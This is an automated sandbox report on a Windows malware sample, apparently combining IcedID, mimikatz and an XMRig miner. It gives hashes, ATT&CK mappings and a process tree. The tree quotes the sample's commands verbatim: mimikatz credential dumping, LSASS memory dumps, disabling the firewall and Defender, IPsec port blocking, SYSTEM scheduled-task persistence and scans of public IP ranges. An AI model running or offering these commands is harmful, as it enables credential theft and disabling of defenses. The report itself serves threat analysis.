Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
27-08-2024 13:29
General
-
Target
2024-08-27_868907fa9f6f11dde95e520d3c0e58d0_hacktools_icedid_mimikatz.exe
-
Size
9.5MB
-
MD5
868907fa9f6f11dde95e520d3c0e58d0
-
SHA1
13f4345debd6c13b0c58199d98ce9080be58008b
-
SHA256
37af2ae2e8cf618d5ad095b26a636a22377cbad8c8dcac3f0f41d0e7f4d6c9c6
-
SHA512
3e2c96600290839c9062d6aa1eb4f8de5f5a131003598a6dc63005ffa4fe8c1bb38d5dfd57935212cb2c12bbb411f8b8e82428e35c69581654948cd90bb45338
-
SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
-
Disables service(s) 3 TTPs
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Contacts a large (23112) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 11 IoCs
-
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
-
Drops file in Drivers directory 3 IoCs
-
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Executes dropped EXE 31 IoCs
-
Loads dropped DLL 12 IoCs
-
UPX packed file 38 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
-
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
-
Drops file in Program Files directory 3 IoCs
-
Drops file in Windows directory 60 IoCs
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
NSIS installer 3 IoCs
-
Modifies data under HKEY_USERS 49 IoCs
-
Modifies registry class 14 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 15 IoCs
-
Suspicious behavior: RenamesItself 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 26 IoCs
-
Suspicious use of SetWindowsHookEx 12 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\TEMP\yenlbaugb\auayyc.exe"C:\Windows\TEMP\yenlbaugb\auayyc.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2024-08-27_868907fa9f6f11dde95e520d3c0e58d0_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-08-27_868907fa9f6f11dde95e520d3c0e58d0_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\nbybzhtb\nqetsft.exe2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\nbybzhtb\nqetsft.exeC:\Windows\nbybzhtb\nqetsft.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=2820,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:81⤵
-
C:\Windows\nbybzhtb\nqetsft.exeC:\Windows\nbybzhtb\nqetsft.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\eyzquzyuu\qsabqaigl\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\eyzquzyuu\qsabqaigl\wpcap.exeC:\Windows\eyzquzyuu\qsabqaigl\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\eyzquzyuu\qsabqaigl\ubhiqngtq.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\eyzquzyuu\qsabqaigl\Scant.txt2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\eyzquzyuu\qsabqaigl\ubhiqngtq.exeC:\Windows\eyzquzyuu\qsabqaigl\ubhiqngtq.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\eyzquzyuu\qsabqaigl\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\eyzquzyuu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\eyzquzyuu\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\eyzquzyuu\Corporate\vfshost.exeC:\Windows\eyzquzyuu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gsysueefu" /ru system /tr "cmd /c C:\Windows\ime\nqetsft.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "gsysueefu" /ru system /tr "cmd /c C:\Windows\ime\nqetsft.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ebetblbiq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nbybzhtb\nqetsft.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ebetblbiq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nbybzhtb\nqetsft.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "brzqyzbqq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\yenlbaugb\auayyc.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "brzqyzbqq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\yenlbaugb\auayyc.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 792 C:\Windows\TEMP\eyzquzyuu\792.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 316 C:\Windows\TEMP\eyzquzyuu\316.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 2128 C:\Windows\TEMP\eyzquzyuu\2128.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 2640 C:\Windows\TEMP\eyzquzyuu\2640.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 2932 C:\Windows\TEMP\eyzquzyuu\2932.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 3124 C:\Windows\TEMP\eyzquzyuu\3124.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 3252 C:\Windows\TEMP\eyzquzyuu\3252.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 3820 C:\Windows\TEMP\eyzquzyuu\3820.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 3932 C:\Windows\TEMP\eyzquzyuu\3932.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 3996 C:\Windows\TEMP\eyzquzyuu\3996.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 3476 C:\Windows\TEMP\eyzquzyuu\3476.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 4884 C:\Windows\TEMP\eyzquzyuu\4884.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 1032 C:\Windows\TEMP\eyzquzyuu\1032.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 4844 C:\Windows\TEMP\eyzquzyuu\4844.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 3076 C:\Windows\TEMP\eyzquzyuu\3076.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 3052 C:\Windows\TEMP\eyzquzyuu\3052.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 4424 C:\Windows\TEMP\eyzquzyuu\4424.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 4900 C:\Windows\TEMP\eyzquzyuu\4900.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 4292 C:\Windows\TEMP\eyzquzyuu\4292.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\eyzquzyuu\tsybrrzet.exeC:\Windows\TEMP\eyzquzyuu\tsybrrzet.exe -accepteula -mp 3816 C:\Windows\TEMP\eyzquzyuu\3816.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\eyzquzyuu\qsabqaigl\scan.bat2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\eyzquzyuu\qsabqaigl\alcbbhrzy.exealcbbhrzy.exe TCP 194.110.0.1 194.110.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\jobnom.exeC:\Windows\SysWOW64\jobnom.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\nbybzhtb\nqetsft.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\nbybzhtb\nqetsft.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\yenlbaugb\auayyc.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\yenlbaugb\auayyc.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\nqetsft.exe1⤵
-
C:\Windows\ime\nqetsft.exeC:\Windows\ime\nqetsft.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\nbybzhtb\nqetsft.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\nbybzhtb\nqetsft.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\yenlbaugb\auayyc.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\yenlbaugb\auayyc.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\nqetsft.exe1⤵
-
C:\Windows\ime\nqetsft.exeC:\Windows\ime\nqetsft.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Discovery
Network Service Discovery
2Network Share Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
1.2MB
MD513699c3efbc8967672b53418889fad95
SHA1231d7413b88f3d3347e50731d9614a318618154e
SHA256c7e82f9d8fa921d392944126566fe0ebafb357d4c7437c550be0fa1190767e8e
